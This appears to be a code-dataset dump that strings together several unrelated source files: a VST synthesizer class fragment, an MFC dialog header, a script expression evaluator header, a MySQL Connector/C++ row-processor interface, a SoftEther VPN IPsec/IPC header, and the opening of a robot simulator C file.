float pOutputGain [NUM_PROGRAMS];
float SynthGetSample(SynthOscStruct *osc,float over,float duty,int wave);
float SynthEnvelopeTimeToDelta(float value,float max_ms);
float OverdriveValue(float value);
protected:
char ProgramName[NUM_PROGRAMS][MAX_NAME_LEN];
float FloatToMultiple(float value);
float* getVarPtr(VstInt32 index);
VstInt32 SavePresetChunk(float *chunk);
void LoadPresetChunk(float *chunk);
VstInt32 SaveStringChunk(char *str,float *dst);
VstInt32 LoadStringChunk(char *str,int max_length,float *src);
VstInt32 SynthAllocateVoice(VstInt32 note);
void SynthChannelChangeNote(VstInt32 chn,VstInt32 note);
void SynthRestartEnvelope(VstInt32 chn);
void SynthStopEnvelope(VstInt32 chn);
void SynthAdvanceEnvelopes(void);
void MidiAddNote(VstInt32 delta,VstInt32 note,VstInt32 velocity);
void MidiAddProgramChange(VstInt32 delta,VstInt32 program);
void MidiAddPitchBend(VstInt32 delta,float depth);
void MidiAddModulation(VstInt32 delta,float depth);
bool MidiIsAnyKeyDown(void);
vector<MidiQueueStruct> MidiQueue;
unsigned char MidiKeyState[128];
float MidiPitchBend;
float MidiPitchBendRange;
float MidiModulationDepth;
float MidiModulationCount;
VstInt32 MidiRPNLSB;
VstInt32 MidiRPNMSB;
VstInt32 MidiDataLSB;
VstInt32 MidiDataMSB;
VstInt32 MidiModulationMSB;
SynthChannelStruct SynthChannel[SYNTH_CHANNELS];
float sEnvelopeDiv;
float sSlideStep;
float Chunk[CHUNK_SIZE];
VstInt32 Noise[65536];
bool UpdateGuiFlag;
};
| 20.611842 | 90 | 0.714119 | [
"vector"
] |
23274ec72341d5d54f6d53b41747c87417c344b7 | 1,357 | h | C | MFCApplication1/Spot Infomation Manager/Spot Infomation ManagerDlg.h | WUST-mengqinyu/Spot-Information-Manager | 72f10102911306065e25ed735d349b51cd7e58d7 | [
"MIT"
] | null | null | null | MFCApplication1/Spot Infomation Manager/Spot Infomation ManagerDlg.h | WUST-mengqinyu/Spot-Information-Manager | 72f10102911306065e25ed735d349b51cd7e58d7 | [
"MIT"
] | null | null | null | MFCApplication1/Spot Infomation Manager/Spot Infomation ManagerDlg.h | WUST-mengqinyu/Spot-Information-Manager | 72f10102911306065e25ed735d349b51cd7e58d7 | [
"MIT"
] | null | null | null |
// Spot Infomation ManagerDlg.h: 头文件
//
#pragma once
#include "InfoEditor.h"
#include "NodeList.h"
#include "QueryDlg.h"
#include <vector>
// CSpotInfomationManagerDlg 对话框
class CSpotInfomationManagerDlg : public CDialogEx
{
// 构造
public:
CSpotInfomationManagerDlg(CWnd* pParent = nullptr); // 标准构造函数
UnOrderedGraph Graphnow = UnOrderedGraph();
int op_now;
// 对话框数据
#ifdef AFX_DESIGN_TIME
enum { IDD = IDD_SPOTINFOMATIONMANAGER_DIALOG };
#endif
protected:
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV 支持
// 实现
protected:
HICON m_hIcon;
// 生成的消息映射函数
virtual BOOL OnInitDialog();
afx_msg void OnSysCommand(UINT nID, LPARAM lParam);
afx_msg void OnPaint();
afx_msg HCURSOR OnQueryDragIcon();
DECLARE_MESSAGE_MAP()
public:
CTabCtrl tabCtrl;
InfoEditor infoEditor;
NodeList nodeList;
QueryDlg queryDlg;
afx_msg void OnTcnSelchangeTab1(NMHDR *pNMHDR, LRESULT *pResult);
afx_msg void OnStnClickedInput2();
afx_msg void OnStnClickedInput1();
afx_msg void OnBnClickedButtonQuery();
void RefreshInfo();
afx_msg void OnBnClickedButtonRefresh();
CComboBox op_cbx;
CStatic input_text_1;
CStatic input_text_2;
CStatic input_text_3;
CEdit input_res1;
CEdit input_res2;
CEdit input_res3;
CButton op_btn;
afx_msg void OnBnClickedButton2();
afx_msg void OnBnClickedButton1();
afx_msg void OnCbnSelchangeCombo1();
};
| 21.539683 | 66 | 0.775976 | [
"vector"
] |
2330c32e036e9370cc2ffbd3fbca86eaa02b3c70 | 2,209 | h | C | ScriptParser/ExpressionEvaluator.h | mapron/PascalParser | f99d8578cbb6538f8d2f63a3226abc2290d69be1 | [
"Apache-2.0"
] | 2 | 2019-06-22T15:53:53.000Z | 2019-09-11T10:14:20.000Z | ScriptParser/ExpressionEvaluator.h | mapron/PascalParser | f99d8578cbb6538f8d2f63a3226abc2290d69be1 | [
"Apache-2.0"
] | null | null | null | ScriptParser/ExpressionEvaluator.h | mapron/PascalParser | f99d8578cbb6538f8d2f63a3226abc2290d69be1 | [
"Apache-2.0"
] | 1 | 2019-09-11T10:14:22.000Z | 2019-09-11T10:14:22.000Z | /*
* Copyright (C) 2017 Smirnov Vladimir mapron1@gmail.com
* Source code licensed under the Apache License, Version 2.0 (the "License");
* You may not use this file except in compliance with the License.
* You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 or in file COPYING-APACHE-2.0.txt
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.h
*/
#pragma once
#include "ast.h"
#include <BytecodeVM.h>
#include <QVector>
using EvaluationList = QVector<ScriptVariant>;
/// Compile-time constant expression optimization.
/// Helps to optimize simple expressions 1 + 2 * 3
class ExpressionEvaluator
{
public:
// Evaluation -------------------
// primitives
bool evaluate(EvaluationList& result, const bool &val) const;
bool evaluate(EvaluationList& result, const int64_t &val) const;
bool evaluate(EvaluationList& result, const double &val) const;
bool evaluate(EvaluationList& result, const QString &val) const;
bool evaluate(EvaluationList& result, const AST::set_construct &val) const;
bool evaluate(EvaluationList& result, const boost::blank &val) const;
//expressions
bool evaluate(EvaluationList& result, const AST::expr &val) const;
bool evaluate(EvaluationList& result, const AST::primary &val) const;
bool evaluate(EvaluationList& result, const AST::unary &val) const;
bool evaluate(EvaluationList& result, const AST::binary &val) const;
bool evaluate(EvaluationList& result, const AST::constant &val) const;
bool evaluate(EvaluationList& result, const AST::internalexpr &val) const;
bool getInt(const AST::expr &val, int64_t& value) const;
bool getDouble(const AST::expr &val, double& value) const;
bool getString(const AST::expr &val, QString& value) const;
bool getOpValue(const AST::expr &val, ScriptVariant& value) const;
bool getOpValues(const AST::expr &val, std::vector<ScriptVariant>& value) const;
};
| 41.679245 | 120 | 0.733816 | [
"vector"
] |
2337d965c6616f5fe974588f1080a417e2f810df | 4,243 | h | C | cdk/include/mysql/cdk/api/processors.h | whitebob/mysql-connector-cpp | 623911eac45b06be5ed5ba683d0044bc73acae3d | [
"Artistic-1.0-Perl"
] | 1 | 2019-09-07T12:16:45.000Z | 2019-09-07T12:16:45.000Z | cdk/include/mysql/cdk/api/processors.h | whitebob/mysql-connector-cpp | 623911eac45b06be5ed5ba683d0044bc73acae3d | [
"Artistic-1.0-Perl"
] | null | null | null | cdk/include/mysql/cdk/api/processors.h | whitebob/mysql-connector-cpp | 623911eac45b06be5ed5ba683d0044bc73acae3d | [
"Artistic-1.0-Perl"
] | 1 | 2019-09-07T12:16:10.000Z | 2019-09-07T12:16:10.000Z | /*
* Copyright (c) 2015, 2018, Oracle and/or its affiliates. All rights reserved.
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License, version 2.0, as
* published by the Free Software Foundation.
*
* This program is also distributed with certain software (including
* but not limited to OpenSSL) that is licensed under separate terms,
* as designated in a particular file or component or in included license
* documentation. The authors of MySQL hereby grant you an
* additional permission to link the program and your derivative works
* with the separately licensed software that they have included with
* MySQL.
*
* Without limiting anything contained in the foregoing, this file,
* which is part of MySQL Connector/C++, is also subject to the
* Universal FOSS Exception, version 1.0, a copy of which can be found at
* http://oss.oracle.com/licenses/universal-foss-exception.
*
* This program is distributed in the hope that it will be useful, but
* WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
* See the GNU General Public License, version 2.0, for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software Foundation, Inc.,
* 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
*/
#ifndef CDK_API_PROCESSORS_H
#define CDK_API_PROCESSORS_H
#include <mysql/cdk/foundation.h>
namespace cdk {
namespace api {
template <class Traits>
class Row_processor
{
public:
typedef cdk::byte byte;
typedef cdk::bytes bytes;
typedef typename Traits::row_count_t row_count_t;
typedef typename Traits::col_count_t col_count_t;
/*
An object implementing Row_processor interface is used to examine data from
a result set (via Cursor::get_rows() method).
*/
/*
Methods called before and after processing single row. The pos parameter
starts from 0 and is increased by 1 for each row processed in a single call
to Cursor::get_rows() (note: it is not position within the cursor).
If row_begin() returns false then given row is skipped (no field data will
be passed to the processor). If row is skipped then row_end() is not called
for that row.
*/
virtual bool row_begin(row_count_t pos) = 0;
virtual void row_end(row_count_t pos) = 0;
/*
Called before and after processing one field within a row. The pos
parameter indicates 0-based position of the field within the row.
Method field_begin() returns the amount of space available for storing
field data - following field_data() calls should respect this limit.
If 0 is returned then given field is skipped without calling field_end()
for it. The amount of available space can be adjusted by filed_data()
method (see below).
*/
virtual size_t field_begin(col_count_t pos, size_t data_len) = 0;
virtual void field_end(col_count_t pos) = 0;
/*
Called if given field is NULL. Methods field_begin() and field_end() are
not called in that case.
*/
virtual void field_null(col_count_t pos) = 0;
/*
Called to pass data stored in a given field. This data can be sent in
several chunks using several calls to field_data() with the same field
position. End of data is indicated by field_end() call. Method field_data()
returns the currently available space for storing the data. The chunks of
data passed via the following field_data() calls should not exceed this
space limit. If field_data() returns 0 then it means that processor is not
interested in seeing any more data for this field and remaining data
(if any) will be discarded (followed by field_end() call)
*/
virtual size_t field_data(col_count_t pos, bytes data) = 0;
/*
Called when there are no more rows in the result set. Note that if a
requested number of rows has been passed to row processor then this method
is not called - it is called only if end of data is detected before passing
the last of requested rows.
*/
virtual void end_of_data() = 0;
};
}} // cdk::api
#endif
| 36.577586 | 80 | 0.732265 | [
"object"
] |
233905f504b07184c66a12acb0c987fae4b4fbe5 | 4,537 | h | C | Framework/SLPhotoSharing.framework/Headers/SLResponseModel.h | solocator/SLPhotoSharing | 225ac353e81eaa275077bd7c9e15f00637ea3283 | [
"MIT"
] | null | null | null | Framework/SLPhotoSharing.framework/Headers/SLResponseModel.h | solocator/SLPhotoSharing | 225ac353e81eaa275077bd7c9e15f00637ea3283 | [
"MIT"
] | null | null | null | Framework/SLPhotoSharing.framework/Headers/SLResponseModel.h | solocator/SLPhotoSharing | 225ac353e81eaa275077bd7c9e15f00637ea3283 | [
"MIT"
] | null | null | null | //
// SLResponseModel.h
// SLPhotoSharing
//
// Created by Civi Corp Pty Ltd on 4/13/18.
// Copyright © 2018 Civi Corp Pty Ltd. All rights reserved.
//
#import <SLPhotoSharing/SLCoding.h>
/**
A data model containing all the data of the photo taken in the "Solocator" application.
*/
@interface SLResponseModel : SLCoding
/// Key for response key
extern NSString * const SLResponseKey;
/// Key for image
extern NSString * const SLImage;
/// Key for date
extern NSString * const SLDate;
/// Key for exif data
extern NSString * const SLExifData;
/// Key for project name
extern NSString * const SLProjectName;
/// Key for watermark
extern NSString * const SLWatermark;
/// Key for descriptions
extern NSString * const SLDescriptions;
/// Key for heading elevation
extern NSString * const SLHeadingElevation;
/// Key for locality
extern NSString * const SLLocality;
/// Key for pos
extern NSString * const SLPos;
/// Key for altitude
extern NSString * const SLAltitude;
/// Key for bearing
extern NSString * const SLBearing;
/// Key for latitude
extern NSString * const SLLatitude;
/// Key for longitude
extern NSString * const SLLongitude;
/// Key for accuracy
extern NSString * const SLAccuracy;
/// Key for distance
extern NSString * const SLDistance;
/// Key for metric units
extern NSString * const SLMetricUnits;
/// Key for true north
extern NSString * const SLTrueNorth;
/// Key for canceled
extern NSString * const SLCanceled;
/// Received photograph.
@property (nullable, nonatomic, strong, readonly) UIImage *image;
/// Date of photo taken
@property (nullable, nonatomic, strong, readonly) NSDate *date;
/// Exchangeable Image File Format data
@property (nullable, nonatomic, strong, readonly) NSData *exifData;
/// Photo project name
@property (nullable, nonatomic, strong, readonly) NSString *projectName;
/// photo watermark string
@property (nullable, nonatomic, strong, readonly) NSString *watermark;
/// photo descriptions string
@property (nullable, nonatomic, strong, readonly) NSString *descriptions;
/// photo heading elevation string
@property (nullable, nonatomic, strong, readonly) NSString *headingElevation;
/// photo location string
@property (nullable, nonatomic, strong, readonly) NSString *locality;
/// photo pos string
@property (nullable, nonatomic, strong, readonly) NSString *pos;
/// photo altitude
@property (nonatomic, assign, readonly) CGFloat altitude;
/// photo bearing
@property (nonatomic, assign, readonly) CGFloat bearing;
/// photo latitude
@property (nonatomic, assign, readonly) CGFloat latitude;
/// photo longitude
@property (nonatomic, assign, readonly) CGFloat longitude;
/// photo accuracy
@property (nonatomic, assign, readonly) CGFloat accuracy;
/// photo distance
@property (nonatomic, assign, readonly) CGFloat distance;
/// will be set to yes if the user uses units
@property (nonatomic, assign, readonly) BOOL metricUnits;
/// Photo created with true north option
@property (nonatomic, assign, readonly) BOOL trueNorth;
/// will be set to yes if the user has canceled the shipment. When property canceled equals to YES then all properties contains nil.
@property (nonatomic, assign, readonly) BOOL canceled;
/**
Initialize model from dictionary.
@attention
Dictionary must contains defined keys such as:
SLImage
SLDate
SLExifData
SLProjectName
SLWatermark
SLDescriptions
SLHeadingElevation
SLLocality
SLPos
SLAltitude
SLBearing
SLLatitude
SLLongitude
SLAccuracy
SLDistance
SLMetricUnits
SLTrueNorth
SLCanceled
*/
- (instancetype)initWith:(NSDictionary *)dict;
/**
Initialize model from all photo components
*/
- (instancetype)initWithImage:(UIImage *)image
date:(NSDate *)date
exifData:(NSData *)exifData
projectName:(NSString *)projectName
watermark:(NSString *)watermark
descriptions:(NSString *)descriptions
headingElevation:(NSString *)headingElevation
locality:(NSString *)locality
pos:(NSString *)pos
altitude:(CGFloat) altitude
bearing:(CGFloat) bearing
latitude:(CGFloat) latitude
longitude:(CGFloat) longitude
accuracy:(CGFloat) accuracy
distance:(CGFloat) distance
metricUnits:(BOOL) metricUnits
trueNorth:(BOOL) trueNorth
canceled:(BOOL) canceled;
@end
| 28.71519 | 132 | 0.703549 | [
"model"
] |
2340788e9d9dd44ee3817cbaed0c93bcaa739071 | 11,633 | h | C | src/Cedar/IPsec_IPC.h | higemayuge/SoftEtherVPN_Stable | 5477e5a677dbbf19d0a99b795a82163810e3c0d7 | [
"Apache-2.0"
] | 10 | 2018-03-22T12:14:34.000Z | 2021-11-08T00:47:50.000Z | src/Cedar/IPsec_IPC.h | higemayuge/SoftEtherVPN_Stable | 5477e5a677dbbf19d0a99b795a82163810e3c0d7 | [
"Apache-2.0"
] | 6 | 2021-07-12T06:26:02.000Z | 2021-09-10T15:38:10.000Z | src/Cedar/IPsec_IPC.h | higemayuge/SoftEtherVPN_Stable | 5477e5a677dbbf19d0a99b795a82163810e3c0d7 | [
"Apache-2.0"
] | 2 | 2018-07-02T13:17:43.000Z | 2021-10-17T06:25:41.000Z | // SoftEther VPN Source Code - Stable Edition Repository
// Cedar Communication Module
//
// SoftEther VPN Server, Client and Bridge are free software under the Apache License, Version 2.0.
//
// Copyright (c) Daiyuu Nobori.
// Copyright (c) SoftEther VPN Project, University of Tsukuba, Japan.
// Copyright (c) SoftEther Corporation.
// Copyright (c) all contributors on SoftEther VPN project in GitHub.
//
// All Rights Reserved.
//
// http://www.softether.org/
//
// This stable branch is officially managed by Daiyuu Nobori, the owner of SoftEther VPN Project.
// Pull requests should be sent to the Developer Edition Master Repository on https://github.com/SoftEtherVPN/SoftEtherVPN
//
// License: The Apache License, Version 2.0
// https://www.apache.org/licenses/LICENSE-2.0
//
// DISCLAIMER
// ==========
//
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
// SOFTWARE.
//
// THIS SOFTWARE IS DEVELOPED IN JAPAN, AND DISTRIBUTED FROM JAPAN, UNDER
// JAPANESE LAWS. YOU MUST AGREE IN ADVANCE TO USE, COPY, MODIFY, MERGE, PUBLISH,
// DISTRIBUTE, SUBLICENSE, AND/OR SELL COPIES OF THIS SOFTWARE, THAT ANY
// JURIDICAL DISPUTES WHICH ARE CONCERNED TO THIS SOFTWARE OR ITS CONTENTS,
// AGAINST US (SOFTETHER PROJECT, SOFTETHER CORPORATION, DAIYUU NOBORI OR OTHER
// SUPPLIERS), OR ANY JURIDICAL DISPUTES AGAINST US WHICH ARE CAUSED BY ANY KIND
// OF USING, COPYING, MODIFYING, MERGING, PUBLISHING, DISTRIBUTING, SUBLICENSING,
// AND/OR SELLING COPIES OF THIS SOFTWARE SHALL BE REGARDED AS BE CONSTRUED AND
// CONTROLLED BY JAPANESE LAWS, AND YOU MUST FURTHER CONSENT TO EXCLUSIVE
// JURISDICTION AND VENUE IN THE COURTS SITTING IN TOKYO, JAPAN. YOU MUST WAIVE
// ALL DEFENSES OF LACK OF PERSONAL JURISDICTION AND FORUM NON CONVENIENS.
// PROCESS MAY BE SERVED ON EITHER PARTY IN THE MANNER AUTHORIZED BY APPLICABLE
// LAW OR COURT RULE.
//
// USE ONLY IN JAPAN. DO NOT USE THIS SOFTWARE IN ANOTHER COUNTRY UNLESS YOU HAVE
// A CONFIRMATION THAT THIS SOFTWARE DOES NOT VIOLATE ANY CRIMINAL LAWS OR CIVIL
// RIGHTS IN THAT PARTICULAR COUNTRY. USING THIS SOFTWARE IN OTHER COUNTRIES IS
// COMPLETELY AT YOUR OWN RISK. THE SOFTETHER VPN PROJECT HAS DEVELOPED AND
// DISTRIBUTED THIS SOFTWARE TO COMPLY ONLY WITH THE JAPANESE LAWS AND EXISTING
// CIVIL RIGHTS INCLUDING PATENTS WHICH ARE SUBJECTS APPLY IN JAPAN. OTHER
// COUNTRIES' LAWS OR CIVIL RIGHTS ARE NONE OF OUR CONCERNS NOR RESPONSIBILITIES.
// WE HAVE NEVER INVESTIGATED ANY CRIMINAL REGULATIONS, CIVIL LAWS OR
// INTELLECTUAL PROPERTY RIGHTS INCLUDING PATENTS IN ANY OF OTHER 200+ COUNTRIES
// AND TERRITORIES. BY NATURE, THERE ARE 200+ REGIONS IN THE WORLD, WITH
// DIFFERENT LAWS. IT IS IMPOSSIBLE TO VERIFY EVERY COUNTRIES' LAWS, REGULATIONS
// AND CIVIL RIGHTS TO MAKE THE SOFTWARE COMPLY WITH ALL COUNTRIES' LAWS BY THE
// PROJECT. EVEN IF YOU WILL BE SUED BY A PRIVATE ENTITY OR BE DAMAGED BY A
// PUBLIC SERVANT IN YOUR COUNTRY, THE DEVELOPERS OF THIS SOFTWARE WILL NEVER BE
// LIABLE TO RECOVER OR COMPENSATE SUCH DAMAGES, CRIMINAL OR CIVIL
// RESPONSIBILITIES. NOTE THAT THIS LINE IS NOT LICENSE RESTRICTION BUT JUST A
// STATEMENT FOR WARNING AND DISCLAIMER.
//
// READ AND UNDERSTAND THE 'WARNING.TXT' FILE BEFORE USING THIS SOFTWARE.
// SOME SOFTWARE PROGRAMS FROM THIRD PARTIES ARE INCLUDED ON THIS SOFTWARE WITH
// LICENSE CONDITIONS WHICH ARE DESCRIBED ON THE 'THIRD_PARTY.TXT' FILE.
//
//
// SOURCE CODE CONTRIBUTION
// ------------------------
//
// Your contribution to SoftEther VPN Project is much appreciated.
// Please send patches to us through GitHub.
// Read the SoftEther VPN Patch Acceptance Policy in advance:
// http://www.softether.org/5-download/src/9.patch
//
//
// DEAR SECURITY EXPERTS
// ---------------------
//
// If you find a bug or a security vulnerability please kindly inform us
// about the problem immediately so that we can fix the security problem
// to protect a lot of users around the world as soon as possible.
//
// Our e-mail address for security reports is:
// softether-vpn-security [at] softether.org
//
// Please note that the above e-mail address is not a technical support
// inquiry address. If you need technical assistance, please visit
// http://www.softether.org/ and ask your question on the users forum.
//
// Thank you for your cooperation.
//
//
// NO MEMORY OR RESOURCE LEAKS
// ---------------------------
//
// The memory-leaks and resource-leaks verification under the stress
// test has been passed before release this source code.
// IPsec_IPC.h
// Header of IPsec_IPC.c
#ifndef IPSEC_IPC
#define IPSEC_IPC
// Constants
#define IPC_ARP_LIFETIME (3 * 60 * 1000)
#define IPC_ARP_GIVEUPTIME (1 * 1000)
#define IPC_DHCP_TIMEOUT (5 * 1000)
#define IPC_DHCP_TIMEOUT_TOTAL_GIVEUP (20 * 1000)
#define IPC_DHCP_MIN_LEASE 5
#define IPC_DHCP_DEFAULT_LEASE 3600
#define IPC_MAX_PACKET_QUEUE_LEN 10000
#define IPC_DHCP_VENDOR_ID "MSFT 5.0"
#define IPC_PASSWORD_MSCHAPV2_TAG "xH7DiNlurDhcYV4a:"
#define IPC_LAYER_2 2
#define IPC_LAYER_3 3
// ARP table entry
struct IPC_ARP
{
IP Ip; // IP address
bool Resolved; // Whether the MAC address have been resolved
UCHAR MacAddress[6]; // MAC address
UINT64 GiveupTime; // Time to give up (in the case of unresolved)
UINT64 ExpireTime; // Expiration date (If resolved)
QUEUE *PacketQueue; // Transmission packet queue
};
// DHCP release queue
struct IPC_DHCP_RELESAE_QUEUE
{
DHCP_OPTION_LIST Req;
UINT TranId;
UCHAR MacAddress[6];
};
// IPC_SESSION_SHARED_BUFFER_DATA
struct IPC_SESSION_SHARED_BUFFER_DATA
{
char ProtocolDetails[256]; // Protocol Details
bool EnableUdpAccel;
bool UsingUdpAccel;
};
// IPC_PARAM
struct IPC_PARAM
{
char ClientName[MAX_SIZE];
char Postfix[MAX_SIZE];
char HubName[MAX_HUBNAME_LEN + 1];
char UserName[MAX_USERNAME_LEN + 1];
char Password[MAX_PASSWORD_LEN + 1];
IP ClientIp;
UINT ClientPort;
IP ServerIp;
UINT ServerPort;
char ClientHostname[MAX_SIZE];
char CryptName[MAX_SIZE];
bool BridgeMode;
UINT Mss;
bool IsL3Mode;
bool IsOpenVPN;
X *ClientCertificate;
UINT Layer;
};
// IPC_ASYNC object
struct IPC_ASYNC
{
CEDAR *Cedar; // Cedar
IPC_PARAM Param; // Parameters for creating IPC
THREAD *Thread; // Thread
SOCK_EVENT *SockEvent; // Socket events that is set when the connection is completed
bool Done; // Processing completion flag
IPC *Ipc; // IPC object (if it fails to connect, the value is NULL)
TUBE *TubeForDisconnect; // Tube for disconnection notification
UINT ErrorCode; // Error code in the case of failing to connect
DHCP_OPTION_LIST L3ClientAddressOption; // Client IP address option (Only in the case of L3 mode)
UINT64 L3DhcpRenewInterval; // DHCP update interval
UINT64 L3NextDhcpRenewTick; // DHCP renewal time of the next
bool DhcpAllocFailed; // Failed to get IP address from the DHCP server
};
// IPC object
struct IPC
{
CEDAR *Cedar;
char HubName[MAX_HUBNAME_LEN + 1];
char UserName[MAX_USERNAME_LEN + 1];
char Password[MAX_PASSWORD_LEN + 1];
char ClientHostname[MAX_SIZE];
UCHAR random[SHA1_SIZE];
char SessionName[MAX_SESSION_NAME_LEN + 1];
char ConnectionName[MAX_CONNECTION_NAME_LEN + 1];
POLICY *Policy;
SOCK *Sock;
INTERRUPT_MANAGER *Interrupt; // Interrupt manager
IP ClientIPAddress; // IP address of the client
IP SubnetMask; // Subnet mask of the client
IP DefaultGateway; // Default gateway address
IP BroadcastAddress; // Broadcast address
UCHAR MacAddress[6]; // MAC address
UCHAR Padding[2];
LIST *ArpTable; // ARP table
QUEUE *IPv4RecviedQueue; // IPv4 reception queue
TUBE_FLUSH_LIST *FlushList; // Tube Flush List
UCHAR MsChapV2_ServerResponse[20]; // Server response
DHCP_CLASSLESS_ROUTE_TABLE ClasslessRoute; // Classless routing table
SHARED_BUFFER *IpcSessionSharedBuffer; // A shared buffer between IPC and Session
IPC_SESSION_SHARED_BUFFER_DATA *IpcSessionShared; // A shared data between IPC and Session
UINT Layer;
};
// MS-CHAPv2 authentication information
struct IPC_MSCHAP_V2_AUTHINFO
{
char MsChapV2_PPPUsername[MAX_SIZE]; // MS-CHAPv2 Username
UCHAR MsChapV2_ServerChallenge[16]; // MS-CHAPv2 Server Challenge
UCHAR MsChapV2_ClientChallenge[16]; // MS-CHAPv2 Client Challenge
UCHAR MsChapV2_ClientResponse[24]; // MS-CHAPv2 Client Response
EAP_CLIENT *MsChapV2_EapClient; // EAP client
};
IPC *NewIPC(CEDAR *cedar, char *client_name, char *postfix, char *hubname, char *username, char *password,
UINT *error_code, IP *client_ip, UINT client_port, IP *server_ip, UINT server_port,
char *client_hostname, char *crypt_name,
bool bridge_mode, UINT mss, EAP_CLIENT *eap_client, X *client_certificate,
UINT layer);
IPC *NewIPCByParam(CEDAR *cedar, IPC_PARAM *param, UINT *error_code);
IPC *NewIPCBySock(CEDAR *cedar, SOCK *s, void *mac_address);
void FreeIPC(IPC *ipc);
bool IsIPCConnected(IPC *ipc);
void IPCSetSockEventWhenRecvL2Packet(IPC *ipc, SOCK_EVENT *e);
void IPCSendL2(IPC *ipc, void *data, UINT size);
void IPCSendIPv4(IPC *ipc, void *data, UINT size);
BLOCK *IPCRecvL2(IPC *ipc);
BLOCK *IPCRecvIPv4(IPC *ipc);
void IPCProcessInterrupts(IPC *ipc);
void IPCProcessL3Events(IPC *ipc);
void IPCProcessL3EventsEx(IPC *ipc, UINT64 now);
bool IPCSetIPv4Parameters(IPC *ipc, IP *ip, IP *subnet, IP *gw, DHCP_CLASSLESS_ROUTE_TABLE *rt);
IPC_ARP *IPCNewARP(IP *ip, UCHAR *mac_address);
void IPCFreeARP(IPC_ARP *a);
int IPCCmpArpTable(void *p1, void *p2);
void IPCSendIPv4Unicast(IPC *ipc, void *data, UINT size, IP *next_ip);
IPC_ARP *IPCSearchArpTable(IPC *ipc, IP *ip);
void IPCSendIPv4WithDestMacAddr(IPC *ipc, void *data, UINT size, UCHAR *dest_mac_addr);
void IPCFlushArpTable(IPC *ipc);
void IPCFlushArpTableEx(IPC *ipc, UINT64 now);
void IPCProcessArp(IPC *ipc, BLOCK *b);
void IPCAssociateOnArpTable(IPC *ipc, IP *ip, UCHAR *mac_address);
bool IsValidUnicastMacAddress(UCHAR *mac);
bool IsValidUnicastIPAddress4(IP *ip);
bool IsValidUnicastIPAddressUINT4(UINT ip);
DHCPV4_DATA *IPCSendDhcpRequest(IPC *ipc, IP *dest_ip, UINT tran_id, DHCP_OPTION_LIST *opt, UINT expecting_code, UINT timeout, TUBE *discon_poll_tube);
BUF *IPCBuildDhcpRequest(IPC *ipc, IP *dest_ip, UINT tran_id, DHCP_OPTION_LIST *opt);
BUF *IPCBuildDhcpRequestOptions(IPC *ipc, DHCP_OPTION_LIST *opt);
bool IPCDhcpAllocateIP(IPC *ipc, DHCP_OPTION_LIST *opt, TUBE *discon_poll_tube);
bool IPCDhcpAllocateIPEx(IPC *ipc, DHCP_OPTION_LIST *opt, TUBE *discon_poll_tube, bool openvpn_compatible);
bool IPCDhcpRequestInformIP(IPC *ipc, DHCP_OPTION_LIST *opt, TUBE *discon_poll_tube, IP *client_ip);
void IPCDhcpRenewIP(IPC *ipc, IP *dhcp_server);
void IPCDhcpFreeIP(IPC *ipc, IP *dhcp_server);
IPC_ASYNC *NewIPCAsync(CEDAR *cedar, IPC_PARAM *param, SOCK_EVENT *sock_event);
void IPCAsyncThreadProc(THREAD *thread, void *param);
void FreeIPCAsync(IPC_ASYNC *a);
bool ParseAndExtractMsChapV2InfoFromPassword(IPC_MSCHAP_V2_AUTHINFO *d, char *password);
#endif // IPSEC_IPC
| 41.546429 | 152 | 0.736525 | [
"object"
] |
2341db41d56afd1e23e68e9c4fa03129b89135ec | 12,326 | c | C | tutorial/simulator/files.c | CMU-TBD/tdl | ecc1047ac3715e1c19852512c9a4c7c0d4a67c2a | [
"BSD-3-Clause"
] | null | null | null | tutorial/simulator/files.c | CMU-TBD/tdl | ecc1047ac3715e1c19852512c9a4c7c0d4a67c2a | [
"BSD-3-Clause"
] | null | null | null | tutorial/simulator/files.c | CMU-TBD/tdl | ecc1047ac3715e1c19852512c9a4c7c0d4a67c2a | [
"BSD-3-Clause"
] | null | null | null | /*****************************************************************************
* PROJECT: TDL Tutorial
*
* (c) Copyright 2001 Reid Simmons. All rights reserved.
* (c) Copyright 1994 Richard Goodwin & Reid Simmons. All rights reserved.
*
* FILE: files.c
*
* ABSTRACT: This file provides the routines to read the parameter file.
*
* $Source: /afs/cs.cmu.edu/project/TCA/Master/tcaV8/tutorial/simulator/files.c,v $
* $Revision: 1.3 $
* $Date: 1995/04/07 05:09:52 $
* $Author: rich $
*
* REVISION HISTORY:
*
* $Log: files.c,v $
*****************************************************************************/
#include "common.h"
#include "draw_env.h"
#include "updates.h"
#include "files.h"
#include "action.h"
#include "sensors.h"
#include "environment.h"
/*****************************************************************************
* Global constants
*****************************************************************************/
/*****************************************************************************
* Global variables
*****************************************************************************/
struct _object objs[MAX_OBJ];
int n_obj = 0;
int id_obj = 0;
int pause_sim = 0;
double units_per_cm = 1.0;
/*****************************************************************************
* Private variables
*****************************************************************************/
struct _object *add_room(double x1, double y1, double x2, double y2,
char *name, int status)
{
objs[n_obj].x1 = x1;
objs[n_obj].y1 = y1;
objs[n_obj].x2 = x2;
objs[n_obj].y2 = y2;
objs[n_obj].type = O_ROOM;
objs[n_obj].objID = id_obj++; /* The id of initial objects is the index */
objs[n_obj].status = status;
objs[n_obj].room_name = strcpy((char *)calloc(strlen(name),sizeof(char)),
name);
